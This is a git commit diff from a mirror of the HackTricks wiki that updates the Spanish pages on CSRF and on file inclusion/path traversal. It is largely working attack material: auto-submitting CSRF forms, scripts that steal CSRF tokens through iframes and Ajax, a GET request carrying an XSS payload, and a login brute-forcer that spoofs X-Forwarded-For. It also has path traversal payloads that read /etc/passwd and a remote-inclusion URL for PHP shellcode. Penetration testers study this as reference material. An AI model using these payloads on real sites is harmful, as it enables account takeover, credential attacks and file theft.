mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
aeebf936f9
commit
67190e7939
@ -2,85 +2,113 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Explicación de Cross-Site Request Forgery (CSRF)
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos al explotar sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que ha iniciado sesión en la plataforma de una víctima, visita un sitio malicioso. Este sitio luego desencadena solicitudes a la cuenta de la víctima a través de métodos como la ejecución de JavaScript, el envío de formularios o la obtención de imágenes.
|
||||
**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad encontrada en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos aprovechando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que ha iniciado sesión en la plataforma de la víctima, visita un sitio malicioso. Este sitio entonces desencadena peticiones hacia la cuenta de la víctima mediante métodos como ejecutar JavaScript, enviar formularios o cargar imágenes.
|
||||
|
||||
### Requisitos previos para un ataque CSRF
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
|
||||
|
||||
1. **Identificar una acción valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
|
||||
2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
|
||||
3. **Ausencia de parámetros impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
|
||||
1. **Identify a Valuable Action**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
|
||||
2. **Session Management**: La sesión del usuario debe gestionarse únicamente mediante cookies o el encabezado HTTP Basic Authentication, ya que otros encabezados no pueden manipularse para este propósito.
|
||||
3. **Absence of Unpredictable Parameters**: La petición no debe contener parámetros impredecibles, ya que pueden impedir el ataque.
|
||||
|
||||
### Verificación rápida
|
||||
### Quick Check
|
||||
|
||||
Puedes **capturar la solicitud en Burp** y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en **Copiar como fetch** y verificar la solicitud:
|
||||
Puedes **capturar la petición en Burp** y comprobar las protecciones CSRF y, para probar desde el navegador, puedes hacer clic en **Copy as fetch** y revisar la petición:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defendiendo contra CSRF
|
||||
### Defending Against CSRF
|
||||
|
||||
Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
|
||||
|
||||
- [**Cookies SameSite**](hacking-with-cookies/index.html#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes de sitios cruzados. [Más sobre cookies SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Intercambio de recursos de origen cruzado**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre el bypass de CORS](cors-bypass.md).
|
||||
- **Verificación del usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
|
||||
- **Verificación de encabezados Referer u Origin**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
|
||||
- Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL confiable)
|
||||
- Usar `http://example.com.mal.net` (la URL comienza con la URL confiable)
|
||||
- **Modificación de nombres de parámetros**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
|
||||
- **Tokens CSRF**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse al hacer cumplir CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impide que el navegador envíe cookies junto con peticiones cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
|
||||
- **Checking Referrer or Origin Headers**: Validar estos encabezados puede ayudar a asegurar que las peticiones provienen de fuentes confiables. Sin embargo, una construcción cuidadosa de URLs puede eludir comprobaciones mal implementadas, como:
|
||||
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
|
||||
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
|
||||
- **Modifying Parameter Names**: Alterar los nombres de los parámetros en peticiones POST o GET puede ayudar a prevenir ataques automatizados.
|
||||
- **CSRF Tokens**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede aumentarse aplicando CORS.
|
||||
|
||||
Entender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web.
|
||||
Entender e implementar estas defensas es crucial para mantener la seguridad y la integridad de las aplicaciones web.
|
||||
|
||||
## Bypass de defensas
|
||||
## Defences Bypass
|
||||
|
||||
### De POST a GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** debes **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**.
|
||||
Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Si el endpoint vulnerable también acepta parámetros desde $_REQUEST, puedes volver a emitir la misma acción como una petición GET y omitir el token CSRF por completo. Esto convierte una acción que era solo POST en una acción GET que tiene éxito sin un token.
|
||||
|
||||
Ejemplo:
|
||||
|
||||
- POST original con token (previsto):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass cambiando a GET (sin token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Notas:
|
||||
- Este patrón aparece frecuentemente junto con reflected XSS cuando las respuestas se sirven incorrectamente como text/html en lugar de application/json.
|
||||
- Combinar esto con XSS reduce enormemente las barreras de explotación porque puedes entregar un único enlace GET que tanto activa la vía de código vulnerable como evita por completo las comprobaciones CSRF.
|
||||
|
||||
### Falta de token
|
||||
|
||||
Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto **eliminando el parámetro** que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva.
|
||||
Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, se produce una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto **eliminando el parámetro** que contiene el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo eficazmente un ataque Cross-Site Request Forgery (CSRF).
|
||||
|
||||
### El token CSRF no está vinculado a la sesión del usuario
|
||||
|
||||
Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurar que cada token esté vinculado a la sesión iniciadora.
|
||||
Las aplicaciones que **no vinculan los tokens CSRF a las sesiones de usuario** representan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens frente a un **conjunto global** en lugar de asegurar que cada token esté ligado a la sesión iniciadora.
|
||||
|
||||
Así es como los atacantes explotan esto:
|
||||
|
||||
1. **Autenticarse** usando su propia cuenta.
|
||||
2. **Obtener un token CSRF válido** del pool global.
|
||||
2. **Obtener un token CSRF válido** del conjunto global.
|
||||
3. **Usar este token** en un ataque CSRF contra una víctima.
|
||||
|
||||
Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de tokens inadecuado** de la aplicación.
|
||||
|
||||
### Bypass de método
|
||||
### Method bypass
|
||||
|
||||
Si la solicitud está utilizando un **método "raro"**, verifica si la **funcionalidad de anulación de método** está funcionando. Por ejemplo, si está **usando un método PUT**, puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la petición está usando un método "**raro**" **method**, verifica si la **method override functionality** está funcionando. Por ejemplo, si está **using a PUT** method puedes intentar **use a POST** method y **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o usando los **encabezados**:
|
||||
Esto también puede funcionar enviando el **\_method parameter inside the a POST request** o usando las **cabeceras**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Bypass de token de encabezado personalizado
|
||||
### Bypass de token en encabezado personalizado
|
||||
|
||||
Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
|
||||
Si la solicitud añade un **custom header** con un **token** a la petición como **CSRF protection method**, entonces:
|
||||
|
||||
- Prueba la solicitud sin el **Token Personalizado y también el encabezado.**
|
||||
- Prueba la solicitud con el **mismo tamaño exacto pero con un token diferente**.
|
||||
- Prueba la solicitud sin el **Customized Token y tampoco el header.**
|
||||
- Prueba la solicitud con exactamente la **misma longitud pero token diferente**.
|
||||
|
||||
### El token CSRF es verificado por una cookie
|
||||
### El token CSRF se verifica mediante una cookie
|
||||
|
||||
Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o estableciendo una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
|
||||
Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de la solicitud o estableciendo una cookie CSRF y verificando si el token enviado al backend corresponde con la cookie. La aplicación valida las peticiones comprobando si el token en el parámetro de la solicitud coincide con el valor de la cookie.
|
||||
|
||||
Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
|
||||
Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallos que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotarlo cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
|
||||
|
||||
A continuación se muestra un ejemplo de cómo podría estructurarse un ataque:
|
||||
A continuación hay un ejemplo de cómo podría estructurarse un ataque:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Ten en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo.
|
||||
> Ten en cuenta que si el **csrf token está relacionado con la session cookie este ataque no funcionará** porque tendrás que establecer en la víctima tu session cookie y, por lo tanto, te estarás atacando a ti mismo.
|
||||
|
||||
### Cambio de Content-Type
|
||||
|
||||
De acuerdo a [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** solicitudes de **preflight** utilizando el método **POST**, estos son los valores de Content-Type permitidos:
|
||||
Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar preflight** en peticiones que usan el método **POST** estos son los valores permitidos de Content-Type:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, así que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** usado, por lo que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Ejemplo (de [aquí](https://brycec.me/posts/corctf_2021_challenges)) de enviar datos JSON como text/plain:
|
||||
Ejemplo (desde [aquí](https://brycec.me/posts/corctf_2021_challenges)) de enviar JSON data como text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,31 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Bypass de Solicitudes Preliminares para Datos JSON
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
|
||||
Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud preliminar. No obstante, hay estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
|
||||
Al intentar enviar datos JSON mediante una petición POST, usar `Content-Type: application/json` en un formulario HTML no es posible directamente. De igual forma, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y comprobar si el servidor procesa los datos JSON independientemente del Content-Type:
|
||||
|
||||
1. **Usar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos sin importar el Content-Type.
|
||||
2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, se puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
|
||||
3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulta [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Emplea `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` estableciendo `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
|
||||
2. **Modify Content Type**: Para evitar una solicitud preflight y al mismo tiempo lograr que el servidor reconozca el contenido como JSON, puedes enviar los datos con `Content-Type: text/plain; application/json`. Esto no desencadena una solicitud preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
|
||||
3. **SWF Flash File Utilization**: Un método menos común pero factible consiste en usar un archivo SWF flash para eludir tales restricciones. Para una explicación detallada de esta técnica, consulta [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de verificación de Referente / Origen
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Evitar el encabezado Referer**
|
||||
**Avoid Referrer header**
|
||||
|
||||
Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presente. Para evitar que un navegador envíe este encabezado, se puede usar la siguiente etiqueta meta HTML:
|
||||
Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presente. Para evitar que un navegador envíe este encabezado, se puede usar la siguiente meta tag HTML:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Esto asegura que el encabezado 'Referer' se omita, lo que puede eludir las verificaciones de validación en algunas aplicaciones.
|
||||
Esto asegura que la cabecera 'Referer' se omita, potencialmente eludiendo las comprobaciones de validación en algunas aplicaciones.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
**Evasiones de Regexp**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Para establecer el nombre de dominio del servidor en la URL que el Referente va a enviar dentro de los parámetros, puedes hacer:
|
||||
Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros puedes hacer:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -187,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Bypass del método HEAD**
|
||||
### **HEAD method bypass**
|
||||
|
||||
La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**.
|
||||
La primera parte de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router está configurado para **handle HEAD requests as GET requests** sin cuerpo de respuesta — una solución común que no es exclusiva de Oak. En lugar de un handler específico que gestione las HEAD reqs, simplemente son **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**.
|
||||
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **Ejemplos de explotación**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **Exfiltrando el token CSRF**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Si un **CSRF token** se está usando como **defence**, podrías intentar **exfiltrate it** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET usando etiquetas HTML**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Otros tags de HTML5 que se pueden usar para enviar automáticamente una solicitud GET son:
|
||||
Otras etiquetas HTML5 que pueden usarse para enviar automáticamente una solicitud GET son:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Solicitud POST de formulario a través de iframe
|
||||
### Solicitud POST de formulario mediante iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -303,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Solicitud POST de Ajax**
|
||||
### **Ajax POST solicitud**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -332,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### solicitud POST multipart/form-data
|
||||
### Solicitud POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -345,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### solicitud POST multipart/form-data v2
|
||||
### Solicitud POST multipart/form-data v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Formulario de solicitud POST desde un iframe
|
||||
### Solicitud POST de formulario desde un iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Robar el token CSRF y enviar una solicitud POST**
|
||||
### **Robar CSRF Token y enviar una POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Robar el token CSRF y enviar una solicitud Post usando un iframe, un formulario y Ajax**
|
||||
### **Robar CSRF Token y enviar una solicitud POST usando un iframe, un form y Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Robar el token CSRF y enviar una solicitud POST usando un iframe y un formulario**
|
||||
### **Robar CSRF Token y enviar una solicitud POST usando un iframe y un form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Robar el token y enviarlo usando 2 iframes**
|
||||
### **Robar token y enviarlo usando 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTRobar el token CSRF con Ajax y enviar un post con un formulario**
|
||||
### **POSTSteal CSRF token con Ajax y enviar un POST con un formulario**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -588,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
El código se puede utilizar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
|
||||
El código puede usarse para Brut Force un formulario de login usando un CSRF token (También usa el header X-Forwarded-For para intentar eludir un posible IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -643,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,61 +1,61 @@
|
||||
# Inclusión de Archivos/Recorrido de Rutas
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Inclusión de Archivos
|
||||
## File Inclusion
|
||||
|
||||
**Inclusión de Archivos Remotos (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
|
||||
**Inclusión de Archivos Locales (LFI):** El servidor carga un archivo local.
|
||||
**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** El servidor carga un archivo local.
|
||||
|
||||
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
|
||||
La vulnerabilidad se produce cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
|
||||
|
||||
Funciones **PHP vulnerables**: require, require_once, include, include_once
|
||||
Funciones **PHP** vulnerables: require, require_once, include, include_once
|
||||
|
||||
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Archivos LFI2RCE Interesantes - a Ciegas
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Combinando varias listas de LFI de \*nix y añadiendo más rutas he creado esta:**
|
||||
**Combinando varias listas LFI de \*nix y añadiendo más rutas, he creado esta:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también añadir `../../../../../`
|
||||
Prueba también a cambiar `/` por `\`\
|
||||
Prueba también a añadir `../../../../../`
|
||||
|
||||
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Fusión de diferentes listas de palabras:
|
||||
Combinación de diferentes wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también eliminar `C:/` y añadir `../../../../../`
|
||||
Prueba también a cambiar `/` por `\`\
|
||||
Prueba también a eliminar `C:/` y añadir `../../../../../`
|
||||
|
||||
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Revisa la lista de LFI de linux.
|
||||
Consulta la lista LFI de linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## LFI básico y bypasses
|
||||
|
||||
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### secuencias de recorrido eliminadas de forma no recursiva
|
||||
### traversal sequences stripped non-recursively
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Saltar la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
||||
Bypass la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -71,51 +71,51 @@ Esto está **resuelto desde PHP 5.4**
|
||||
|
||||
### **Codificación**
|
||||
|
||||
Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
|
||||
Podrías usar codificaciones no estándar como doble codificación URL (y otras):
|
||||
```
|
||||
